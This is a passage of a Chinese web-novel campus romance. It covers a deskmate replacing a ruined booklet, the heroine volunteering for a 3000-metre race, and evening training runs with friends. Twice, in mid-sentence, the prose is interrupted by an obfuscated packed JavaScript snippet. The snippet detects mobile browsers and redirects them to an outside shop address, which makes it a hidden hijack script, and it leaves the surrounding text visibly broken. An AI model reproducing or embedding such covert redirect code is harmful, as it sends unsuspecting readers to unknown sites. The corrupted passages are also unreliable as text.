就在这时,一个熟悉的声音插了进来: “哎,等等。” 声音的主人是谁,东篱夏再熟悉不过。贺疏放手里还抱着个篮球,脸颊泛红,气喘吁吁,明显是刚打完球回来。 他大概是在门口见证了刚才那一幕,随意地揽上了碰洒她水杯的男生的肩,依旧是很随意的语气,却莫名让她听出几分严肃的意味来,“光道歉就完啦?你把人家新发的本子弄成这样,赔一本啊。” 东篱夏本能心里一暖,脑子里又瞬间蹦出无数个想法—— 他话说得这么直接,会不会让那些男生觉得他多管闲事,从而讨厌他?为了自己这点小事,要是影响贺疏放的人缘,那自己的罪过可就大了。 那几个男生被贺疏放这么一说,脸上更挂不住了,互相看了看。 “不就是本小册子嘛……”“付老师那儿还有吧?”“谁撞的谁赔呗……” 几个人开始互相推诿起责任来,就是没人痛快地说“我马上给你拿本新的来”。 东篱夏看着他们推诿的样子,愈发烦躁起来。 她不想让事情变得更复杂,更不想因为自己的事影响贺疏放的人缘。 “算了,不用赔了。我自己想办法,你们走吧。” 几个男生如蒙大赦,又连连说了几句“不好意思”后,便作鸟兽散了。 东篱夏心里烦躁得很,但还是那句话——除了宽容,她还能怎么样? 贺疏放看着那几个男生推诿着溜走,又看了看她手中湿透的小红本,眉头微蹙,最终什么也没说,甚至没像往日一样插科打诨安慰她两句,转身便离开了教室。 她忽然意识到,他好像生气了。 明明是他先站出来维护她,为她争取本该属于她的东西。 可自己呢? 因为怕场面尴尬,怕别人觉得她斤斤计较,怕那几个男生会因此对贺疏放有微词,影响贺疏放的人缘,就急急忙忙把本该属于自己的利益推开了。 他一定觉得我很没用吧,东篱夏想。 软弱,怕事,连为自己争取一本小册子的勇气都没有。 她鼻尖猛地一酸。 她只是习惯了,习惯了遇到冲突就先退一步,习惯了不给人添麻烦,习惯了把所有的难处都自己默默咽下去。 两个人刚刚熟悉起来,会不会就该死的小红本,又退回到最初那种客气疏离的状态,甚至变得像虞霁月和周益荣一样糟? 那几个男生为什么这样一点担当也没有? 她的目光频频飘向门口。每一次有人影闪过,心就跟着提起,又在那人不是贺疏放时沉沉落下,时间在焦虑中被无限拉长。 懊悔、委屈、担忧、恐惧交织在一起,无力感几乎要将她吞没。 东篱夏的视线开始模糊,用力眨着眼睛,拼命想把眼眶里的潮湿逼回去。 不能哭,绝对不能在这里哭。 就在眼泪几乎要夺眶而出的瞬间,那个熟悉的身影重新出现在了门口。 贺疏放回来了,脸上甚至没有什么特别的表情,径直走过来,在她还盈着水光的目光注视下,伸出手,将一样东西轻轻放在了她的桌面上。 一本崭新的小红本。 东篱夏完全愣住了,大脑一片空白,所有翻腾的情绪、所有悲观的预设,在这一刻尽数被这本突然出现的崭新的小红本冲击得七零八落。 她抬起头,呆呆地看着贺疏放,一脸茫然。 他不是生气走了吗?这是又是做什么? 贺疏放似乎被她这副样子逗笑了,“怎么这副傻眼了的样?我刚去语文组办公室了,跟付老师说咱班少发了一本,就补要了一本。” 没有邀功,没有说教,甚至没有再多解释一句他是怎么跟老师说的,有没有遇到什么周折。 他明明看到了她的退缩,却没有一句指责,只是用最直接的方式把问题解决了。他好像看懂了她的窘迫,也理解她那句“算了”背后的顾虑,没有讨厌她,没有觉得她麻烦,甚至在用自己的方式,维护了她自己都没能维护的利益边界。 在他将本子推过来,两个人目光短暂相接的那一刹那,东篱夏清晰地感觉到,她和贺疏放之间有什么东西不一样了。 她整个人都不自在了起来,慌忙低下头,掩饰自己发烫的脸颊和耳尖,“太感谢了,真是帮了我大忙。” “这有啥的。”贺疏放显然并没察觉到她汹涌的内心戏,对她笑了笑,就立刻掏出了数学学案开始做作业。好像对他来说刚才真的只是顺手处理了一件小事。 她忍不住又用余光飞快地瞥了一眼身旁那个专注的少年,听见自己的心跳得很响。 为什么自己刚才偷偷看他的时候,忽然有点不好意思了? 耳根的热度似乎有卷土重来的迹象,她立刻深呼吸,把小红本塞进书桌堂,试图重新把注意力集中在数学学案上,脑子里却又出现了贺疏放刚才递给她小红本时无所谓的笑。 东篱夏,你有完没完了! 她在心里狠狠骂了自己一句,看着数学学案干瞪眼,奈何题干的文字就是不往她的脑子里进。 一个念头忽然闪过她的脑海—— 自己好像是喜欢上贺疏放了。 如此恐怖的念头一出,她立刻摇摇头试图甩掉:大姐,你真的分得清感谢和喜欢吗?人家只是顺手帮了你一把,没准转眼就把这回事忘了,你自己一个人在这发什么疯啊! 东篱夏又在心里骂了自己两句,把责任丢给了数学学案,又掏出英语五三,强迫自己沉浸进阅读理解中,不再去想。 可是心跳还在告诉她—— 不一样就是不一样了。 好不容易挨过了心乱如麻的一下午,傍晚的食堂依旧喧嚣。 甄盼吸溜了一口牛肉面,往贺疏放和何建安吃饭的方向瞟了两眼,忽然想起了什么似的,兴奋地对东篱夏说,“哎,夏 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“诶呦,夏夏,你是没看见,他就在那儿嗯嗯地点头哈腰,老听话了,被训了将近五分钟,才拿着本新的小红本走了。” 甄盼讲得轻松,落在东篱夏耳朵里,却彻彻底底是另一码事了。 付观亭虽然脾气好,却多少有点老派,特别热衷于和学生谈心。贺疏放语文成绩本来就不好,冷不丁被这么一说,肯定也不好受。 他竟然为了给她换本子,把所有责任都承担到了自己身上,还挨了付观亭一顿说。 他完全可以不管的,或者直接跟付观亭说实话。 但他没有。 “想啥呢,这都不笑,难不成他是给你要小红本去了?” 看着东篱夏越来越难看的脸色,甄盼有点傻眼了,“我去,不会真让我猜中了吧?” 东篱夏放下筷子,一五一十地把中午事情的种种告诉了甄盼,从水杯如何被打翻,男生们如何推诿,讲到贺疏放如何站出来,又是如何被她息事宁人。 她越讲,心里就越难受,“我怕贺疏放也觉得我挺怂的,还平白无故连累了他。” 甄盼看着东篱夏低垂的脑袋,一脸无语。 “我真服了,东篱夏。”就在东篱夏以为甄盼也要说她的时候,甄盼突然从面条里夹出来一块牛肉放进嘴里,咽下去才开口,“我发现你有个特别大的毛病。” 来了。 “你咋一天到晚老在那揣测别人咋寻思呢?累不累啊?” 东篱夏愕然抬头。 “贺疏放既然选择这么做了,跑去办公室编理由、挨付观亭说也要把本子给你拿回来,那就说明在他心里这么做是值得的,是他心甘情愿的呗。” 说完,甄盼又吸溜了一口面条,“贺疏放指不定就乐意行侠仗义呢,你在这儿东想西想,觉得自己连累了他,觉得他膈应你,说不定人家压根没当回事,甚至觉得‘嘿,哥们儿今天干了件好事’呢!” 说完,不等东篱夏接话,甄盼就开始进行结辩陈述,“所以,要我说,你一天到晚别老想那么多。受别人的好意,大大方方说谢谢,然后记住这份好,下次有机会也帮回去不就行了?老琢磨别人是不是不高兴、是不是嫌弃你,这不纯属自己给自己找罪受嘛!” 最后,她像是想起什么,又笑了出来,“不过我说真的,照你这么一说,贺疏放这事儿办的确实挺够爷们的。” 够爷们。 东篱夏下意识向贺疏放和何建安坐的那桌看去,两个人好像已经吃完了盒饭,准备倒完餐盘往回走。 这就是喜欢吗? 喜欢一个人,就是会因为他一个维护自己的举动而心跳加速,就是会忍不住去想他做这件事时的心情,就是会在听到别人夸他时,心里偷偷泛起与有荣焉的甜。 可她又害怕自己真的喜欢上了贺疏放。 一方面是因为她早就习惯了将大多数精力聚焦于学习,习惯了掌握明确的知识,获得对应确定范围内的分数,反而一点也不习惯这种模糊又不受控制的情愫。 另一方面,贺疏放对她好,大概只是出于同桌之谊,出于他本身随性又有点侠气的性格。如果自己真的喜欢上他,而他对自己没有同样的感觉,那该怎么办? 她该如何面对两个人每天并肩而坐的尴尬?如何消化自己求而不得的失落?会不会连现在还算融洽的同桌关系都毁掉? 她不知道什么是喜欢,更不知道该如何对待自己刚刚萌芽的喜欢。 20. 三千米 东篱夏和甄盼回到教室时,发现贺疏放的座位依旧空着,《无机化学》倒是还雷打不动摊开在桌面上,旁边草稿纸上乱糟糟画着一片不同价键的配对,常用的黑笔也随意丢在了一旁。 刚才明明已经看见他和何建安倒餐盘,两个人应该已经回来了啊。 贺疏放的生活很规律,中午午休雷打不动地去打球,晚上和何建安总是最早一批从食堂回来,要么继续钻研他的化学,要么对付课内作业。 她和甄盼吃完饭慢悠悠溜达回来时,十有八九都能看到他伏案的侧影,要么沉浸,要么苦恼,但总归是在那里的。 今天怎么不在? 是不是因为中午小红本的事情,他心里还是有点不痛快,所以不想那么早回来面对她? 这个念头一冒出来,就被她自己迅速否决了——甄盼说的对,自己为什么总要往坏了揣测别人怎么想呢? 即使如此,她的注意力仍然总是不受控制地飘向旁边那个空位,耳朵也竖起来,捕捉着门口的脚步声。每一次有人走进教室,她都会忍不住飞快地瞥一眼,在确认不是他之后,又带着点自己也说不清的失望。 东篱夏有些烦躁地在草稿纸上划拉着圈,终于在将一道简单的柯西不等式填空题的题干读了两遍却依然没进脑子之后,彻底忍不住了。 她深吸一口气,下了决心,转过身看向后桌从不去食堂吃饭的虞霁月,状似无意地问道,“霁月,你看见贺疏放了吗?” 虞霁月今天换了本《局外人》看,从书里抬起头想了一会儿,才答道,“诶,刚才还看他和何建安回来了一趟,刚坐下没一会儿,广播就叫各班体委到体育组开会,他就又匆匆忙忙走了,应该是去开会了。” 原来是这样。 东篱夏顿时如释重负,整个人都放松了下来。 没想到,她细微的变化完全没逃过虞大师的慧眼,虞霁月突然扣下了手中的书,狡黠地看着她,饶有兴趣地笑,“哟,怎么突然这么在意贺疏放了?” 这么明显吗? 东篱夏整个人瞬间僵住,脸唰地红了,大脑一片空白。 “我哪有,就随口一问而已,他不是一般都回来挺早吗。” 她强装镇定地否认,迅速转了回去,重新跟权方和不等式大眼瞪小眼起来。 虞霁月本就随口一问,一看她这欲盖弥彰的样,似乎也明白了几分,笑得更促狭了些,拉长声音“哦”了一声,重新翻开了书,“这样啊。” 晚自习预备铃刚响,贺疏放就拿着张报名表回来了,估计是跟柳鸿打过招呼,就径自走上讲台向大家宣布国庆假期前运动会的事宜。 刚上高中的第一次运动会,大家都跃跃欲试,加上贺疏放在前面亲自吆喝,班里气氛很快就活跃起来,报名还算积极,就连看上去和运动不怎么沾边的何建安都报了跳高。 东篱夏想,比起跳高运动员,瘦瘦高高的何建安更适合当那根竿。 果不其然,何建安刚报完跳高,甄盼就立刻举起了手,跟贺疏放说自己要报女子跳远。 跳远和跳高的场地往往挨得很近,她瞬间就明白了甄盼那点小心思——离得近,看得清,说不定还能借机说上两句话。 对于十六七岁的少年们来说,喜欢一个人,好像真的是一件无师自通的事。 贺疏放一顿吆喝,自己也没落下,作为体委多少秉持了点以身作则的担当精神。个人项目的两个名额占满了,团体也没落下——上午先去跑个200米,再立刻赶去参加男子跳远,下午还得去男子4x100接力跑倒数第二棒,任谁也说不出半个不是来。 班里乱糟糟闹腾了好一会儿,最终还是巡查晚自习的沈婕路过二班门口,进来把贺疏放撵了下去,呵斥了这群如同没开过运动会一样的学生们一顿,不忘加一句“你们看看人家一班多安静”。 贺疏放老老实实回到座位,核查了好一顿报名表后,又往门口反反复复张望了几次,确认沈婕走远了,才转头小声对着东篱夏抱怨,“这咋办。” “嗯?”这话没头没尾,东篱夏一时没明白他的意思,“刚才大家报名不是挺积极的吗?” “是,但咱班现在最大的问题,是女子三千米完全没人报,”贺疏放揉了揉太阳穴,明显犯了难,“每个项目都不能空项,空项要扣精神文明分。但要是硬赶鸭子上架,逼咱班哪个女同学报三千米,实在是有点强人所难了。” “三千米没人报啊,我来呗?” 身后突然传来虞霁月熟悉的声音,东篱夏和贺疏放齐齐回头。 虞霁月个子不矮,但体活课或是午休晚休也不大爱下楼动弹,明显不是盛群瑛那种明显热爱运动的类型,怎么突然想起来报三千米了? 贺疏放实在有些诧异,“你军训都偷懒,这时候怎么想起来报三千米了?” “这有啥的,我就单纯想试试看自己身体的极限在哪里。”虞霁月放下笔,平日里“我见诸君多有病”的戏谑淡了下去,嘴角却依旧弯着,“初中跑八百的时候,每次到最后两百米,大家都觉得自己有点不行了,不也都挺过去了吗?” “我就好奇,我身体的极限到底是真实存在的,还是仅仅是自己吓唬自己画的一条线?就算真的有,我也想摸清楚它在哪儿,我也想知道身体真正到极限的时候,到底是一种什么感觉。” “八百米没意思,三千米才够长。” 东篱夏忽然有点崇拜虞霁月。 虞霁月显然天生就是那种属于旷野的人,她好像一直在反叛。 反叛没什么大意义的军训,反叛柳鸿不让她吃泡面,反叛泡面必须不能撕开盖,反叛沈婕逼她走她哥的竞赛路,甚至反叛身体的极限。 贺疏放也被虞霁月这番言论震住了,对方决定好了,他也不能多说什么,只能嘱咐道,“行,你悠着点,安全第一。” “但是还差一个,得报满两个人才行。” “盛老师呢?”周益荣终于能插进来话,在旁白小声提议道,“盛老师不是天天午休晚休和她男朋友打羽毛球吗?体能应该很好。” “别造谣。”虞霁月一听“男朋友”三字,不由皱了皱眉头,立刻怼了回去,“你说奚华年是盛群瑛男朋友,是她亲口承认的吗?” 两个人的关系如今已经是肉眼可见地不好。 “这不显而易见嘛。” 周益荣刚要争辩,就被贺疏放打断了,“我问过了,盛群瑛说她那几天正好是生理期,三千米消耗太大,不太方便。” 就在贺疏放已经收起报名表,准备第一节晚自习下课的课间再去别处动员时,一直沉默着的东篱夏忽然轻轻开了口: “要不我来吧。” 贺疏放和虞霁月同时抬头看她。 虞霁月眼神动了动,犹豫了一下,生怕东篱夏犯傻,还是半开玩笑半认真地点了一句,“夏夏,你该不会是因为跟咱们体委当同桌关系好,才挺身而出的吧?这时候讲义气,牺牲可有点大啊。” 被她这么一说,东篱夏的脸有点红,却没有任由自己被尴尬吞没,轻轻摇了摇头,态度坚决。 “不是。”东篱夏很惊喜,自己的声音比想象中要平静,“跟这个没有关系。” 她开始慢慢组织语言,“我只是觉得班级需要有人报这个项目,既然缺人,我又不是完全跑不动……那就试试。” 她停顿了一下,“算是对班级的一点责任心吧。” 一个很老套的答案。 没什么意思,不像虞霁月那样充满个人英雄主义,甚至还有点过时了。 这是爷爷从小就告诉她的道理。 爷爷原来是木材厂的车间工人,一辈子也不会说什么大道理,却也从小就反反复复告诉她,不管在哪,心里都要装着大家,要想着为集体做点事。 可她说出口时,却多少带了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965013|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点窘迫。 小学的时候好像还不是这样。 那时候班级大合唱选领唱,甚至老师问“谁愿意去办公室搬作业”,都会有好几只手争先恐后地举起来,带着点未经世事的天真。 那个时候大家似乎还不那么害怕“显得积极”,不觉得为集体做点什么,是件需要掂量、需要遮掩、甚至有点傻气的事情。 不知道从什么时候开始,大概是初二的时候,风气就变了。 好像一夜之间,身边的同学都“开智”了,或者说是世故了。 老师一提问,即使很多人心里好像有答案也不再会举手了,跳课间操的时候,大家都心照不宣地敷衍着,胳膊随意抬一抬就好,甚至要是谁不合时宜地做得认真、做得到位,反而会被人在背后蛐蛐“装什么呀”。 好像抱着奉献集体的心态主动参与活动,要么是别有目的,要么就是还没进化完全。 东篱夏一直不太明白。 这样的开智,真的意味着变得更聪明、更成熟了吗? 还是说,只是过早地学会了计算得失,学会了用冷漠来包装自己,生怕流露一点热心肠,就会被人看轻了去? 她又是那样一个过分在乎别人怎么看自己的人,自然不会做出头鸟,可她总觉得自己来到这里之后,见过的傻人傻事好像也不少。 甄盼喜欢何建安,喜欢得坦坦荡荡人尽皆知,哪怕对方避之不及,她也依旧灿烂明媚,说着“喜欢是自己的事”。 虞霁月仅仅因为想看看自己的边界,就敢去挑战闻风丧胆的三千米。 还有贺疏放,明明英语烂得惊心动魄,文科一片荒芜,也不见得有虞光风那样的天赋,却为了所谓喜欢,就偏要抱着本《无机化学》死磕,走胜负难料的路。 他们似乎都不太在乎别人眼中的划算与否,聪明与否,只是认准了自己觉得值得的事,然后就去做了。 因为心甘情愿,所以义无反顾。 东篱夏忽然觉得,哪怕连他们俩也会觉得自己傻,她也觉得这样做是值得的。 她就是想为二班做点事。 仅仅因为她觉得应该,而且应该可以。 “疯了吧你。”贺疏放显然没想到她会主动请缨,眉头瞬间拧了起来,语气不自知带了点急切,“初中大家都跑过八百米,哪个不是累得不行,三千米是接近四倍的量!你军训都晕过去了,知不知道三千米不是闹着玩的?” 东篱夏迎着他的目光,忽然有点难受。 为什么连他都默认我不行。 贺疏放无异于往她心里的小火苗上添了一把柴火,东篱夏的倔脾气突然上来了,低下头,半天没说话。 “我知道很难,我初中也跑过八百米,能跑下去,但不够快。” “但是贺疏放,”她重新抬起眼,“我这个人最大的优点,就是比较能忍。” 这话一出来,她自己都嫌矫情。 能忍是一件很光彩的事吗?什么古早苦情戏女主的形容词。 可对她而言,这才是最贴切的真相。 “无论是初中时候人际关系里细碎的不舒服,还是学习上好像永远也追不上韩慎谦的压力,甚至是军训时候身体上的疲惫。”她说得很慢,给贺疏放和虞霁月听,也给自己听,“我好像一直都挺能忍的。” “我跑八百米确实不是初中班里最快的,但我从来没半途走过,一次都没有。我每次都能咬着牙跑到终点线,而且跑完以后缓一缓,好像也不会难受得天翻地覆。” 她终于将目光完全投向贺疏放,神情坚定,“如果我参加,我的目标很简单,就三个字:跑完它。” “我不追求名次,甚至不追求好看的速度。只要我能靠这两条腿坚持跑完全程,没有弃权,咱们班就至少有了成绩,就不会因为空项而被扣分。” 她顿了顿,嘴角忽然扬了扬,“跑完就比跑不完强,不是吗?” 21. 太偏心 话音落下,她看见贺疏放和虞霁月都愣住了,像是没料到她能说出这样一番话来。 贺疏放看着她,那双总是带着散漫笑意的眼睛,此刻难得地褪去了所有玩笑的色彩,变得专注又复杂。 她不确定他从自己身上看到了什么。 终于,贺疏放似乎还想说什么,话到嘴边又咽了回去,又沉默了几秒才重新开口,声音染上了一点她辨不分明的情绪,“可是训练很辛苦的,万一你一不小心受伤了……” “我会注意的,量力而行。”东篱夏抢在他说完之前就率先了开口,在她温吞的生命里,很少有这样斩钉截铁的时刻。她知道自己必须把这句话说完,一旦中断,好不容易鼓起的勇气很可能会漏光。 就在这时,后座的虞霁月忽然笑了出来,带着她一贯的慧黠,歪着头,目光在她和贺疏放之间来回扫了扫,拖长了声音揶揄道,“我说贺疏放,你这区别对待也太明显了吧?我也报了三千米啊,你咋不多担心担心我呢?” “……” 几人之间的空气瞬间被这句话冻住了一秒。 东篱夏清楚地看见,贺疏放脸上那点残余的担忧顷刻间被一种猝不及防的尴尬取代,少年的耳朵尖以肉眼可见的速度,漫上一层浅浅的红。 她自己的心脏也在胸腔里狂跳。 他为什么格外担心我? 这个问题以前或许也模糊地存在过,但此刻被虞霁月如此直白地点破,就很难再忽略。 是因为她看起来比虞霁月更弱不禁风吗? 可能吧。 是因为她是同桌,关系更亲近,责任也更直接吗? 也许吧。 但贺疏放瞬间的语塞还有他此刻微红的耳廓仍旧在她脑海里疯狂闪烁,隐隐约约要拼凑出另一个她渴望又恐惧的答案。 他对我……好像确实有点不一样? 这个念头带着点隐秘的甜,猝不及防地渗入心间。 可下一秒,她心底的声音又开始对自己说—— 东篱夏,醒醒吧。 他为什么格外关心你,只是因为你们是包办同桌,家长互相认识,关系千丝万缕。 你在他眼皮子底下出了任何问题,他怎么跟你妈妈交代?怎么跟周阿姨交代? 对,一定是这样。 合情合理,无懈可击。 贺疏放只当没听见,什么也没解释,只是略带狼狈地避开了虞霁月玩味的目光,也避开了东篱夏低垂的侧脸,歪歪扭扭地用自己那手狗爬的字,把东篱夏的名字郑重地写在了三千米一栏旁。 “那说好了,量力而行,安全第一。” 他声音很轻,没再看她。 “好。”东篱夏也依旧低着头应了一句。 脸颊还是很烫,心跳也还是很吵。 三个人终于安静下来学了会儿习,没多久第一节晚自习就结束了。两节晚自习之间,十分钟的课间里,虞霁月忽然拍了拍她的后背。 “夏夏,趁着现在操场上人少,要不要先下去跑两圈试试水?”: 东篱夏闻言抬起头,想了想,很快就点了点头。确实该练练,总不能真的毫无准备就上战场。 几乎是同时,旁边飞速抄着答案的贺疏放也“啪“”地一声合上了语文作业,随手丢进书桌堂里,“我跟你们一起下去吧,正好坐久了活动活动。” 虞霁月挑了挑眉,“哟,咱们贺大体委亲自下场啊?” 贺疏放被看得直心虚,连忙解释道,“我是跑短跑的,一百二百那种,对长跑也没啥经验,也就能盯着点你俩别受伤。不过长跑最要紧的不是一开始冲多快,是怎么分配体力,怎么在难受的时候顶住,让自己不停下来。” 他说得诚恳,东篱夏低下头没看他,耳朵却悄悄捕捉着每一个字。 三个人到了操场,九月末的晚风已经带了凉意,操场上已经有一些其他班级的学生在散步。 两个人站上跑道,贺疏放站在一边嘱咐道,“你们俩刚开始训练,别贪多,慢慢增加圈数。最重要的是别受伤,今天先低配速跑一千五试一试。” 东篱夏和虞霁月一齐应是,贺疏放看着她俩,突然又笑了,“想想还挺有意思,军训那会儿也是咱们仨,一个真病号,一个假病号,加上我这个被教官抓过来的壮丁。” 被他这么一说,东篱夏也想起了军训时那段狼狈又有点好笑的经历,嘴角不自觉地扬起:“是哦,好巧。” 虞霁月一边做着拉伸,一边也笑了,“缘分,实在是缘分。” 夜色渐浓,跑道在灯光下延伸向模糊的远方,东篱夏深吸了一口气,带着塑胶和青草混合的味道,陌生的踏实感慢慢充盈了胸腔。 两个人刚要开跑,忽然看见两道熟悉的身影跑了过来,一个是苗时雨,旁边跟着一个梳着齐肩短发的女生,东篱夏记得军训时候,苗时雨和虞霁月似乎给自己介绍过她。 “夏夏,霁月!”苗时雨也看到了她们三人,眼睛一亮,挥着手跑过来。 旁边齐肩短发的女生也停下来,安静地站在一旁,点了点头算作招呼,并没有多余的话。路灯的光打在她脸上,东篱夏瞧着,她长得很漂亮,是那种有点锐利又有点疏离的好看。 苗时雨的目光随即落在东篱夏旁边的贺疏放身上,眨了眨眼,露出好奇的神色。 虞霁月见状,很自然地充当起了介绍人:“是贺疏放。我们班的体委,兼……”她顿了顿,眉眼弯弯,“兼夏夏的同桌,以及我们俩本次三千米征程的技术指导。” 贺疏放被这串头衔弄得有点不好意思,对苗时雨点点头:“你好,我也不太懂长跑,主要就是跟着她俩跑跑,保证安全。” “体委同志辛苦啦!”苗时雨笑容灿烂,大大方方地回应,又自我介绍道,“我叫苗时雨,一班的,跟夏夏是初中同学。” 她说着,轻轻拉了一下身旁女生的胳膊,“这是明知晚,我们一班的大神,也是霁月的初中同学,江南七中的,中考和开学考都是年级前五。” 明知晚。 东篱夏忽然想起了这个名字,军训时候虞霁月和苗时雨说过,她和纪涵星好像是江南七中霸占着年级前两名的金童玉女,和盛群瑛跟奚华年差不多。 纪涵星开学考试的成绩怎么样呢? 她好像也没再听到关于他的消息了。 苗时雨立刻又对着明知晚补充道,“知晚,这是东篱夏,我在江北实验时的好朋友,也是咱们这届的中考状元,人特别好!” 明知晚听了,对着东篱夏微微点了下头,迅速归于沉寂。 “我才反应过来,二班居然是你俩跑三千?”苗时雨一副不可思议的样子,拽了拽明知晚,“我和知晚也是来练三千米的,我嘛,夏夏肯定知道,从初中就喜欢跑步。” 苗时雨简直是全面开花,性格好,情商高,成绩好,竞赛学得明白,甚至连体育也特别好,初中时候破过两次江北实验的校长跑记录,除了英语实在一般以外,实在没什么缺点。 苗时雨继续解释道,“知晚就很有意思了,她说自己喜欢那种好像下一秒就要死过去,但偏偏又能从那种死地里再一点点找回呼吸的感觉。” 她说着,自己也有点不确定地看向明知晚,“是这么个意思吧,知晚?” 明知晚这次终于开口了,“差不多,在那种时候才能最清楚地感觉到自己还活着,而且生命力比想象中顽强。” 东篱夏听着,心里又是一震。 这是一个和虞霁月很像的答案。 她忽然觉得,看上去没那么好接近的明知晚,内心可能燃烧着一团更灼热的火焰。 简单交流了几句,苗时雨和明知晚便率先加速,身影很快越过他们。 “我们也开始吧。”贺疏放的声音将几人的思绪拉回,迅速调整到两人的外侧,“不用管她们的速度。我们今晚的目标不是距离,是找感觉,找到呼吸和步伐配合的节奏,觉得哪里不舒服随时说。” 第一次尝试,他们并没跑多久,仅仅三四圈后,两个人就多少有点上不来气。贺疏放察觉到,及时叫了停,没让她们硬撑。 “差不多了,否则明天该浑身疼了,慢慢来。” 接下来的几天,只要天气允许,两节晚自习之间这段时光,三个人总是会一起下楼训练。贺疏放这个陪练当得极其称职,一面跟着两个人跑,一面提醒她们注意呼吸、调整摆臂,分享一些他回家查的小技巧。 但东篱夏能清晰地感觉到,他的目光大多数时候是落在自己身上的。 贺疏放对虞霁月多是提醒些“别忽快忽慢打乱节奏”之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970766|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类的话,对东篱夏就明显细密得多。 “东篱夏,肩膀放松,别绷着。对,就这样。” “呼吸有点乱了,跟着我的步子,吸——呼——吸——呼——” “这圈速度比刚才稳,很好。” “是不是右边小腿有点紧?跑完记得好好拉伸那里。” 从两千五升级到两千七那天,东篱夏跑得脸色发白,脚步明显踉跄,贺疏放几乎立刻靠了过来,虚虚地护在她身侧,声音里是掩不住的紧张,“不行就别硬撑,走一圈调整一下。” 反倒是虞霁月在旁边喊,“贺疏放,你这也太偏心了点吧?怎么不问问我要不要走一圈?” 贺疏放被梗着脖子回,“你?你还能蹦跶着往前冲呢,我看你好着呢!” 斗嘴归斗嘴,训练的效果是实实在在的,东篱夏明显觉得自己心肺的耐受度和肌肉的适应性,都在一点点艰难地提升。 这天跑完,东篱夏撑着膝盖喘息,虞霁月直接往地上一坐,眼睛忽然亮了亮,“夏夏,咱俩去趟卫生间再回班吧,我特意看了,柳鸿今天肯定早就回家了,不会来查晚自习,咱俩晚点回去也不碍事。” 东篱夏犹豫了下,最终还是点点头,对贺疏放说,“那你先回教室?” 贺疏放嘱咐了她俩一句别立刻喝水,才独自离开。 女卫生间里总是充满了各种少女心事,甄盼曾经下过暴论,只要在卫生间里面偷偷蹲一天,就能得知江大附中一天所有的八卦。 上课铃已经响了,卫生间里只剩下她们俩,水流声哗哗,镜子里映出两张微微泛红的脸。 虞霁月掬水洗了把脸,对着镜子理了理被打湿的刘海,状似无意地开口,“夏夏,问你个事儿。” “嗯?”东篱夏刚上完卫生间,凑过来洗手,闻言抬起头。 虞霁月转过身,背靠着洗手台,看着东篱夏,还是那副没安好心的笑,“你觉不觉得,贺疏放好像有点喜欢你啊?” !!! 东篱夏的动作猛地顿住,水龙头的水哗哗流着,脸颊瞬间爆红,从脖子一路烧到耳根。 “哪有,你别瞎说!”她慌乱地否认,声音都有些变调,连忙关掉水龙头,从旁边抽了两张纸巾胡乱擦着手,眼神四处乱飘,就是不敢看虞霁月,“他就是作为体委,责任心强,怕我们出事而已……而且,而且他对你也挺关心的啊!” “得了吧,”虞霁月把手上的水往她脸上一甩,东篱夏没来得及躲,笑着骂了她两句,紧张的气氛好不容易缓和下来一点。 虞霁月压低了声音,“你细细想想,他对我的关心,跟对你的关心,是一个浓度吗?他每次眼神往你那儿瞟的频率,提醒你注意细节的劲儿,还有看你跑累了那副想劝又不敢劝太过的样子……体委的职责可没要求这么无微不至哦。我看啊,他名义上是陪咱俩,实际上就是来陪你的。” 东篱夏连忙往脸上泼了把水,镜子中的自己仍旧满脸通红,心里泛起丝丝缕缕隐秘的欢喜,嘴上却还在挣扎:“真没有,可能就是因为我们坐同桌,比较熟而已。或者因为他妈妈和我妈妈认识,他多照顾一点……” 虞霁月看她这副又羞又急的样子,笑了笑,没再穷追猛打,“行啦行啦,我就随口一说,看你紧张的。走吧,回去了。” 两人回到教室时,晚自习已经开始了一会儿,东篱夏走到门口的时候,一眼就看到贺疏放已经回来了。 他坐在那里,看面前《无机化学》看得专注,似是察觉到她们回来的动静,贺疏放抬起头,目光望了过来。 视线在空中相接。 贺疏放歪着头,脸上自然而然地漾开一个笑容,平时更明朗些,甚至露出了尖尖的虎牙。 扑通、扑通。 东篱夏清晰地听到自己的心跳,在安静的教室里聒噪地响。 刚刚在卫生间被虞霁月搅起的惊涛骇浪,本以为已经强行压了下去,此刻却因为一个再简单不过的笑容,轻而易举地决了堤。 她匆忙低下头,快步走向自己的座位,不敢再看他的眼睛。 身旁贺疏放已经重新低下头,沉浸回他的化学世界里,仿佛刚才那个晃花了她的眼的笑容,只是再寻常不过的一个招呼。 是喜欢吗? 他……也会喜欢我吗? 22. 关关难过关关过 运动会安排在了国庆节假期之前,高三不参加运动会是江大附中的惯例,高一高二两个学年四千多学生,学校里实在塞不下,就借用了江城大学的体育场。 运动会九点正式开始,刚刚七点四十的时候,参加队列方阵的学生们就被拉到运动场外面候场,十六岁少年特有的蓬勃生气在江城清晨的寒风里躁动着。 三千米的运动员被特许不需要参加开幕式队列方阵,身边的同学都走光了后,一班二班的休息区很快空了下来,只剩下她们四个姑娘。 东篱夏没动,就一直在看台相对晒得着阳光的暖和塑料椅上坐着,偶尔和虞霁月还有苗时雨有一搭没一搭说两句话。 